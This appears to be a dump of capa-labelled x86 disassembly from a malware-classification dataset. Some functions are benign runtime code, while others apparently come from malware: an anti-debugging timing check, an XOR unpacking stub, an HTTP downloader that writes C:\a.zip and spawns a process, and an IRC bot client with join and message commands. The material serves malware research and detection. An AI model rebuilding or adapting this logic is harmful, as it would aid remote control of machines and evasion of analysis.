joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4115dd
Capabilities:
Hash data using murmur3

Disassembly:
push ebp
mov eax, edx
mov ebp, esp
push edi
push esi
push ebx
mov ebx, ecx
mov ecx, 4
sub esp, 0x4c
mov dword [ebp - 0x1c], edx
cdq
fld dword [0xe3b1d8]
idiv ecx
xor ecx, ecx
mov dword [ebp - 0x20], eax
fimul dword [ebp - 0x20]
lea edi, [eax*4]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x20], 0
fst qword [ebp - 0x28]
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x38]
fabs
fstp qword [ebp - 0x40]
fld qword [ebp - 0x38]
fld qword [ebp - 0x28]
fucompi st(1)
fstp st(0)
jp 0x411630
je 0x411651
fld qword [ebp - 0x38]
fsub qword [ebp - 0x28]
fabs
fmul dword [0xe3b1dc]
fld qword [ebp - 0x40]
fcompi st(1)
fstp st(0)
jae 0x411651
call fcn.00404f18
jmp 0x411755
cmp ecx, dword [ebp - 0x2c]
jl 0x411667
mov eax, dword [ebp - 0x1c]
mov esi, 4
add ebx, ecx
cdq
idiv esi
xor eax, eax
jmp 0x4116dd
cmp ecx, dword [ebp - 0x1c]
jl 0x41167c
mov eax, dword [ebp - 0x1c]
mov dword [esp], ecx
dec eax
mov dword [esp + 4], eax
jmp 0x411750
lea esi, [ecx + 4]
mov eax, dword [ebx + ecx]
xor ecx, esi
test esi, ecx
js 0x411647
imul eax, eax, 0xcc9e2d51
mov edx, 0xf
call fcn.004115d8
mov dword [esp], 0xe391e8
mov edi, eax
call fcn.004250f0
cmp byte [eax], 0
jne 0x411755
imul eax, edi, 0x1b873593
mov edx, 0xd
xor eax, dword [ebp - 0x20]
call fcn.004115d8
mov ecx, esi
lea eax, [eax + eax*4]
sub eax, 0x19ab949c
mov dword [ebp - 0x20], eax
jmp 0x411622
movzx esi, byte [ebx + esi]
shl eax, 8
or eax, esi
test edx, edx
jg 0x411738
imul eax, eax, 0xcc9e2d51
mov edx, 0xf
call fcn.004115d8
mov dword [esp], 0xe391e8
mov ebx, eax
call fcn.004250f0
cmp byte [eax], 0
jne 0x411755
imul ebx, ebx, 0x1b873593
mov eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 0x20]
xor eax, ebx
mov ebx, eax
shr ebx, 0x10
xor ebx, eax
imul ebx, ebx, 0x85ebca6b
mov eax, ebx
shr eax, 0xd
xor eax, ebx
imul eax, eax, 0xc2b2ae35
mov edx, eax
shr edx, 0x10
xor edx, eax
mov dword [ebp - 0x30], edx
jmp 0x411755
lea esi, [edx - 1]
mov edx, esi
lea edi, [ecx + esi]
cmp dword [ebp - 0x1c], edi
jg 0x4116d4
mov eax, dword [ebp - 0x1c]
mov dword [esp], edi
dec eax
mov dword [esp + 4], eax
call fcn.00406bbc
mov eax, dword [ebp - 0x30]
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x42262c
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
rdtsc
mov ecx, eax
mov ebx, edx
rdtsc
sub eax, ecx
mov ecx, 0xff
sbb edx, ebx
cmp ecx, eax
mov eax, 0
sbb eax, edx
mov eax, 1
jb 0x42265c
cpuid
mov eax, ecx
shr eax, 0x1f
add esp, 0x10
pop ebx
pop esi
pop ebp
ret

Function at 0x423a48
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call fcn.0042e42c
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call fcn.0042e42c
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort

Function at 0x424598
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x4245b7
mov eax, 0
jmp 0x4245fb
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x4245da
mov eax, 0
jmp 0x4245fb
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x4245f6
mov eax, 0
jmp 0x4245fb
mov eax, 1
leave
ret

Function at 0x4245fd
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x42465c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x424654
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x424654
mov eax, dword [ebp - 4]
jmp 0x424670
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x424631
mov eax, 0
leave
ret
Function at 0x42f53d
Capabilities:
Contain obfuscated stackstrings
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
add esp, 0xffffff80
cmp dword [ebp + 8], 0
je 0x42f656
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00433324
cmp eax, 1
jne 0x42f64c
mov dword [ebp - 0x77], 0x6f727245
mov dword [ebp - 0x73], 0x6c632072
mov dword [ebp - 0x6f], 0x696e6165
mov dword [ebp - 0x6b], 0x7520676e
mov dword [ebp - 0x67], 0x70732070
mov dword [ebp - 0x63], 0x6b5f6e69
mov dword [ebp - 0x5f], 0x20737965
mov dword [ebp - 0x5b], 0x20726f66
mov dword [ebp - 0x57], 0x65726874
mov dword [ebp - 0x53], 0x206461
lea eax, [ebp - 0x4f]
mov ecx, 0x43
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov dword [esp + 8], 0xa
lea edx, [ebp - 0x77]
add edx, 0x27
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__ultoa]
call eax
mov dword [ebp - 0xc], 0x27
jmp 0x42f602
add dword [ebp - 0xc], 1
lea edx, [ebp - 0x77]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
test al, al
je 0x42f619
mov eax, dword [ebp - 0xc]
cmp eax, 0x69
jbe 0x42f5fe
mov eax, dword [ebp - 0xc]
cmp eax, 0x69
ja 0x42f637
lea edx, [ebp - 0x77]
mov eax, dword [ebp - 0xc]
add eax, edx
mov byte [eax], 0xa
mov eax, dword [ebp - 0xc]
add eax, 1
mov byte [ebp + eax - 0x77], 0
lea eax, [ebp - 0x77]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call eax
sub esp, 4
call sub.msvcrt.dll_abort
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov dword [eax], edx
jmp 0x42f657
nop
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret
Function at 0x4305f1
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov dword [ebp - 0x1c], 0xffffffff
mov dword [esp + 4], 0x43045e
mov dword [esp], 0xe4cdc0
call fcn.0042fbb2
mov eax, dword [0xe39510]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsGetValue]
call eax
sub esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x430638
mov eax, dword [ebp - 0x20]
jmp 0x430783
call fcn.0042f446
mov dword [ebp - 0x20], eax
mov eax, dword [entry3]
test eax, eax
je 0x43064f
cmp dword [ebp - 0x20], 0
jne 0x430659
mov eax, 0
jmp 0x430783
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x24], 1
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x3c], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
call eax
sub esp, 0x10
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x18], eax
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x1c], 0xffffffff
mov eax, dword [ebp - 0x20]
lea edx, [eax + 0x38]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0042f53d
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x64], 0
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x14], 0
mov eax, dword [ebp - 0x20]
lea edi, [eax + 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call eax
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edi
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call eax
sub esp, 0x1c
test eax, eax
jne 0x43072b
call sub.msvcrt.dll_abort
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetThreadPriority]
call eax
sub esp, 4
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x6c], eax
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x68], 0
mov eax, dword [ebp - 0x20]
movzx edx, byte [eax + 0x20]
and edx, 0xffffffcf
or edx, 0x10
mov byte [eax + 0x20], dl
mov eax, dword [0xe39510]
mov edx, dword [ebp - 0x20]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
test eax, eax
jne 0x430780
call sub.msvcrt.dll_abort
mov eax, dword [ebp - 0x20]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x430847
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
call fcn.004305f1
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xb4]
mov dword [esp], eax
call fcn.00430482
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax + 0x20]
and eax, 0x30
test al, al
jne 0x4308a2
mov eax, dword [ebp - 0x14]
add eax, 0x70
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll_longjmp]
call eax
mov eax, dword [0xe39510]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsGetValue]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4309cc
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
test eax, eax
jne 0x430934
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xdeadbeef
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x4308f1
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x18], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.0042f354
mov dword [ebp - 0x10], 0
mov eax, dword [0xe39510]
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
jmp 0x4309cc
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x68], 1
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x430964
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x18], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x24]
and eax, 4
test eax, eax
je 0x4309cc
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xdeadbeef
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.0042f354
mov dword [ebp - 0x10], 0
mov eax, dword [0xe39510]
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__endthreadex]
call eax
Function at 0x412565
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004123e4

Function at 0x41695c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004162ca

Function at 0x416967
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416505

Function at 0x431004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43100c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x431030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x401000
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x4041f0
push dword [ebp + 0xc]
xor eax, eax
xor edi, edi
mov word [ebp - 4], ax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x401029
push 0xfffffffffffffff8
pop eax
jmp 0x401065
push ebx
jmp 0x401043
push 1
lea eax, [ebp - 4]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov byte [ebp - 4], 0
add edi, ebx
push 0
push 1
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
push esi
test ebx, ebx
jg 0x40102c
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
pop ecx
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret

Function at 0x401069
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push str.Mozilla_5.0
push esi
push eax
push str.GET___s_HTTP_1.1_r_nHost:__s_r_nUser_Agent:__s_r_nKeep_Alive:_300_r_nConnection:_keep_alive_r_n_r_n
lea eax, [ebp - 0x204]
push 0x1ff
push eax
call fcn.0040156f
push esi
call fcn.00402b1e
add esp, 0x1c
test eax, eax
jne 0x4010b9
push 0xfffffffffffffffc
pop eax
jmp 0x40114f
push edi
push 2
pop esi
push 0x50
mov dword [ebp - 0x210], eax
mov word [ebp - 0x214], si
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push esi
mov word [ebp - 0x212], ax
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4010ef
push 0xfffffffffffffffb
jmp 0x401106
push 0x10
lea eax, [ebp - 0x214]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401109
push 0xfffffffffffffffa
pop eax
jmp 0x40114e
lea ecx, [ebp - 0x204]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401112
push 0
sub ecx, edx
lea eax, [ebp - 0x204]
push ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
push str.C:_a.zip
push 3
push ebx
call fcn.0040156f
push ebx
push edi
call fcn.00401228
add esp, 0x14
mov esi, eax
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, esi
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00402f0d
leave
ret
Function at 0x401228
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push esi
push 0
push 1
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
jmp 0x40128e
lea eax, [ebp - 0x404]
push str._r_n_r_n
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x4012a3
cmp esi, 0x400
je 0x401292
push eax
push 1
lea eax, [ebp - 0x404]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add esi, eax
test esi, esi
jg 0x401258
push 0xfffffffffffffff9
pop eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00402f0d
leave
ret
push ebx
push dword [ebp + 8]
call section..text
pop ecx
pop ecx
jmp 0x401295

Function at 0x4012b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
push 0x44
pop esi
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x54]
xor edi, edi
push edi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x48], 0x404273
xor eax, eax
mov dword [ebp - 0x54], esi
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 1
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push edi
push 0x28
push edi
push edi
push edi
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401322
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
xor eax, eax
cmp dword [ebp + 0xc], 2
sete al
inc eax
pop edi
pop esi
leave
ret

Function at 0x4016d4
Capabilities:
Get socket status

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp + 0x8c], eax
mov eax, dword [0x406120]
lea ecx, [ebp - 0x80]
push ecx
xor edx, edx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x98]
lea ecx, [ebp - 0x78]
push edx
push edx
push ecx
push eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 1
call dword [sym.imp.WS2_32.dll_select]
mov ecx, dword [ebp + 0x8c]
xor ecx, ebp
call fcn.00402f0d
add ebp, 0x90
leave
ret
Function at 0x401732
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00402b1e
pop ecx
test eax, eax
jne 0x401755
or eax, 0xffffffff
jmp 0x40179d
push esi
push 2
pop esi
push dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], si
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push esi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401784
push 0xfffffffffffffffe
pop eax
jmp 0x40179c
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push 0xfffffffffffffffd
cmp eax, 0xffffffff
pop ecx
cmove esi, ecx
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402f0d
leave
ret

Function at 0x401804
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x804
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x800], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x814]
push edi
test esi, esi
je 0x4018b4
mov ebp, 0x800
push ebp
xor edi, edi
lea eax, [esp + 0x14]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
push esi
call fcn.004016d4
mov ebx, eax
add esp, 0x10
test ebx, ebx
jle 0x4018b0
cmp edi, 0x7ff
je 0x40188a
push 0
push 1
lea eax, [esp + 0x18]
add eax, edi
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4018ac
add edi, eax
mov al, byte [esp + edi + 0xf]
cmp al, 0xd
je 0x401886
cmp al, 0xa
je 0x401886
push esi
call fcn.004016d4
mov ebx, eax
pop ecx
test ebx, ebx
jg 0x40184d
test ebx, ebx
jle 0x4018b0
cmp edi, 2
jl 0x401830
dec edi
cmp edi, ebp
jae 0x4018cf
lea eax, [esp + 0x10]
mov byte [esp + edi + 0x10], 0
push eax
push esi
call fcn.00401940
pop ecx
pop ecx
test eax, eax
jns 0x401830
jmp 0x4018b6
xor eax, eax
jmp 0x4018b6
mov eax, ebx
jmp 0x4018b6
mov eax, esi
mov ecx, dword [esp + 0x810]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00402f0d
add esp, 0x804
ret
call fcn.0040303d
int3

Function at 0x4018d5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
xor esi, esi
cmp byte [eax], 0
je 0x4018f6
push esi
push eax
push esi
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x10]
push 1
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x14]
push 2
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push esi
lea ecx, [ebp + 8]
push ecx
push 0x402511
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
jmp 0x40193d
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x401f7b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 0x44]
push edi
mov edi, dword [ebp + 0x14]
push 0x40
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp + 0xc]
add esp, 0xc
test eax, eax
jne 0x401fcd
push 0x3f
push str.PASS
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_r_n
jmp 0x4020d0
cmp eax, 1
jne 0x401fdb
push 0x3f
push str.NICK
jmp 0x401fb4
cmp eax, 2
jne 0x402001
push 0x3f
lea eax, [ebp - 0x44]
push str.USER
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_____lol__:_s_r_n
jmp 0x402095
cmp eax, 3
jne 0x40200f
push 0x3f
push str.PONG
jmp 0x401fb4
cmp eax, 4
jne 0x402032
push 0x3f
lea eax, [ebp - 0x44]
push str.JOIN
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push edi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s__s_r_n
jmp 0x402095
cmp eax, 5
jne 0x4020b0
cmp dword [0x40702c], 0
jne 0x4020ab
cmp dword [0x407028], 0
je 0x402079
mov ecx, 0x406128
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402070
test dl, dl
je 0x40206c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402070
add eax, 2
add ecx, 2
test dl, dl
jne 0x402050
xor eax, eax
jmp 0x402075
sbb eax, eax
or eax, 1
test eax, eax
je 0x4020ab
push 0x3f
lea eax, [ebp - 0x44]
push str.PRIVMSG
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push edi
lea eax, [ebp - 0x44]
push eax
push str._s__s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x24
jmp 0x4020e4
xor eax, eax
inc eax
jmp 0x40211d
cmp eax, 6
jne 0x40211b
push 0x3f
lea eax, [ebp - 0x44]
push str.QUIT
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x20
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea ecx, [ebp - 0x244]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4020fd
push 0
sub ecx, edx
lea eax, [ebp - 0x244]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x40211d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00402f0d
leave
ret

Function at 0x40212b
Capabilities:
Initialize winsock library

Disassembly:
call fcn.0040217b
test eax, eax
jne 0x40213b
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
push esi
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
call fcn.00402b95
call fcn.004015d7
call dword [sym.imp.WS2_32.dll_WSACleanup]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]